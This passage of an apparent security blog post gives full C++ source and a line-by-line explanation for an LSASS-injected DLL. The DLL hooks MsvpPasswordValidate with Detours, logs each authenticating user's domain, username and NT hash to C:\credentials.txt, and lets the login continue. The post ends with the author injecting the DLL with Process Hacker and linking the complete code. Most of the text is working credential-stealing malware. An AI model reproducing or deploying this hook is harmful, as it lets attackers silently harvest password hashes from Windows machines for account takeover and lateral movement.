		~Library();
		HMODULE GetHandle();

	private:
		HMODULE _libraryHandle;
	};

	class Handle
	{
	public:
		Handle(HANDLE input);
		~Handle();
		HANDLE GetHandle();

	private:
		HANDLE _handle;
	};
}

//functions used to install and remove the hook
bool InstallHook();
bool RemoveHook();

// define the pMsvpPasswordValidate type to point to MsvpPasswordValidate
typedef BOOLEAN(WINAPI* pMsvpPasswordValidate)(BOOLEAN, NETLOGON_LOGON_INFO_CLASS, PVOID, void*, PULONG, PUSER_SESSION_KEY, PVOID);
extern pMsvpPasswordValidate MsvpPasswordValidate;

// define our hook function with the same parameters as the hooked function
// this allows us to directly access the hooked function parameters
BOOLEAN HookMSVPPValidate
(
	BOOLEAN UasCompatibilityRequired,
	NETLOGON_LOGON_INFO_CLASS LogonLevel,
	PVOID LogonInformation,
	void* Passwords,
	PULONG UserFlags,
	PUSER_SESSION_KEY UserSessionKey,
	PVOID LmSessionKey
);

This header includes various Windows headers that define the various native types used by MsvpPasswordValidate. You can see I had to slightly modify the MsvpPasswordValidate function definition since I could not find the headers defining PUSER_INTERNAL1_INFORMATION, hence we treat it like a normal void pointer. I also define two routines, InstallHook and RemoveHook, that will deal with injecting our hook and cleaning it up afterwards. I also declare a RAII namespace which will hold RAII classes to make sure handles to libraries and other stuff will be properly closed as soon as they go out of scope (yay C++). I also define a pMsvpPasswordValidate type which we will use in conjunction with GetProcAddress to properly resolve and then call MsvpPasswordValidate. Since the MsvpPasswordValidate pointer needs to be global we also extern it.

DllMain.cpp

The DllMain.cpp file holds the definition and declaration of the DllMain function, responsible for all the actions that will be taken when the DLL is loaded or unloaded:

#include "pch.h"
#include "hppdll.h"

pMsvpPasswordValidate MsvpPasswordValidate = nullptr;

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        return InstallHook();
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        return RemoveHook();
    }
    return TRUE;
}

Top to bottom, we include pch.h to enable precompiled headers and speed up compilation, and hppdll.h to include all the types and functions we defined earlier. We also set to nullptr the MsvpPasswordValidate function pointer, which will be filled later by the InstallHook function with the address of the actual MsvpPasswordValidate. You can see that InstallHook gets called when the DLL is loaded and RemoveHook is called when the DLL is unloaded.

InstallHook.cpp

InstallHook is the function responsible for actually injecting our hook:

#include "pch.h"
#include "hppdll.h"

bool InstallHook()
{
	DEBUG("InstallHook called!");

	// get a handle on NtlmShared.dll
	RAII::Library ntlmShared(L"NtlmShared.dll");
	if (ntlmShared.GetHandle() == nullptr)
	{
		DEBUG("Couldn't get a handle to NtlmShared");
		return false;
	}

	// get MsvpPasswordValidate address
	MsvpPasswordValidate = (pMsvpPasswordValidate)::GetProcAddress(ntlmShared.GetHandle(), "MsvpPasswordValidate");
	if (MsvpPasswordValidate == nullptr)
	{
		DEBUG("Couldn't resolve the address of MsvpPasswordValidate");
		return false;
	}

	DetourTransactionBegin();
	DetourUpdateThread(::GetCurrentThread());
	DetourAttach(&(PVOID&)MsvpPasswordValidate, HookMSVPPValidate);
	LONG error = DetourTransactionCommit();
	if (error != NO_ERROR)
	{
		DEBUG("Failed to hook MsvpPasswordValidate");
		return false;
	}
	else
	{
		DEBUG("Hook installed successfully");
		return true;
	}
}

It first gets a handle to the NtlmShared DLL at line 9. At line 17 the address to the beginning of MsvpPasswordValidate is resolved by using GetProcAddress, passing to it the handle to NtlmShared and a string containing the name of the function. At lines from 24 to 27 Detours does its magic and replaces MsvpPasswordValidate with our rogue HookMSVPPValidate function. If the hook is installed correctly, InstallHook returns true. You may have noticed I use the DEBUG macro to print debug information. This macro makes use of conditional compilation to write to C:\debug.txt if the DEBUG_BUILD macro is defined in hppdll.h, otherwise it does nothing.

HookMSVPPValidate.cpp

Here comes the most important piece of the DLL, the routine responsible for extracting the credentials from memory.

#include "pch.h"
#include "hppdll.h"

BOOLEAN HookMSVPPValidate(BOOLEAN UasCompatibilityRequired, NETLOGON_LOGON_INFO_CLASS LogonLevel, PVOID LogonInformation, void* Passwords, PULONG UserFlags, PUSER_SESSION_KEY UserSessionKey, PVOID LmSessionKey)
{
	DEBUG("Hook called!");
	// cast LogonInformation to NETLOGON_LOGON_IDENTITY_INFO pointer
	NETLOGON_LOGON_IDENTITY_INFO* logonIdentity = (NETLOGON_LOGON_IDENTITY_INFO*)LogonInformation;

	// write to C:\credentials.txt the domain, username and NT hash of the target user
	std::wofstream credentialFile;
	credentialFile.open("C:\\credentials.txt", std::fstream::in | std::fstream::out | std::fstream::app);
	credentialFile << L"Domain: " << logonIdentity->LogonDomainName.Buffer << std::endl;
	std::wstring username;
	
	// LogonIdentity->Username.Buffer contains more stuff than the username
	// so we only get the username by iterating on it only Length/2 times 
	// (Length is expressed in bytes, unicode strings take two bytes per character)
	for (int i = 0; i < logonIdentity->UserName.Length/2; i++)
	{
		username += logonIdentity->UserName.Buffer[i];
	}
	credentialFile << L"Username: " << username << std::endl;
	credentialFile << L"NTHash: ";
	for (int i = 0; i < 16; i++)
	{
		unsigned char hashByte = ((unsigned char*)Passwords)[i];
		credentialFile << std::hex << hashByte;
	}
	credentialFile << std::endl;
	credentialFile.close();

	DEBUG("Hook successfully called!");
	return MsvpPasswordValidate(UasCompatibilityRequired, LogonLevel, LogonInformation, Passwords, UserFlags, UserSessionKey, LmSessionKey);
}

We want our output file to contain information on the user (like the username and the machine name) and his NT hash. To do so we first cast the third argument, LogonIdentity, to be a pointer to a NETLOGON_LOGON_IDENTITY_INFO structure. From that we extract the logonIdentity->LogonDomainName.Buffer field, which holds the local domain (hece the machine hostname since it’s a local account). This happens at line 8. At line 13 we write the extracted local domain name to the output file, which is C:\credentials.txt. As a side note, LogonDomainName is a UNICODE_STRING structure, defined like so:

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

From line 19 to 22 we iterate over logonIdentity->Username.Buffer for logonIdentity->Username.Length/2 times. We have to do this, and not copy-paste directly the content of the buffer like we did with the domain, because this buffer contains the username AND other garbage. The Length field tells us where the username finishes and the garbage starts. Since the buffer contains unicode data, every character it holds actually occupies 2 bytes, so we need to iterate half the times over it. From line 25 to 29 we proceed to copy the first 16 bytes held by the Passwords structure (which contain the actual NT hash as we saw previously) and write them to the output file. To finish we proceed to call the actual MsvpPasswordValidate and return its return value at line 34 so that the authentication process can continue unimpeded.

RemoveHook.cpp

The last function we will take a look at is the RemoveHook function.

#include "pch.h"
#include "hppdll.h"

bool RemoveHook()
{
	DetourTransactionBegin();
	DetourUpdateThread(GetCurrentThread());
	DetourDetach(&(PVOID&)MsvpPasswordValidate, HookMSVPPValidate);
	auto error = DetourTransactionCommit();
	if (error != NO_ERROR)
	{
		DEBUG("Failed to unhook MsvpPasswordValidate");
		return false;
	}
	else
	{
		DEBUG("Hook removed!");
		return true;
	}
}

This function too relies on Detours magic. As you can see lines 6 to 9 are very similar to the ones called by InstallHook to inject our hook, the only difference is that we make use of the DetourDetach function instead of the DetourAttach one.

Test drive!

Alright, now that everything is ready we can proceed to compile the DLL and inject it into LSASS. For rapid prototyping I used Process Hacker for the injection.

hppdll gif

It works! This time I tried to authenticate as the user “last”, whose password is, awkwardly, “last”. You can see that even though the wrong password was input for the user, the true password hash has been written to C:\credentials. That’s all folks, it was a nice ride. You can find the complete code for HppDLL on my GitHub.

last out!

❌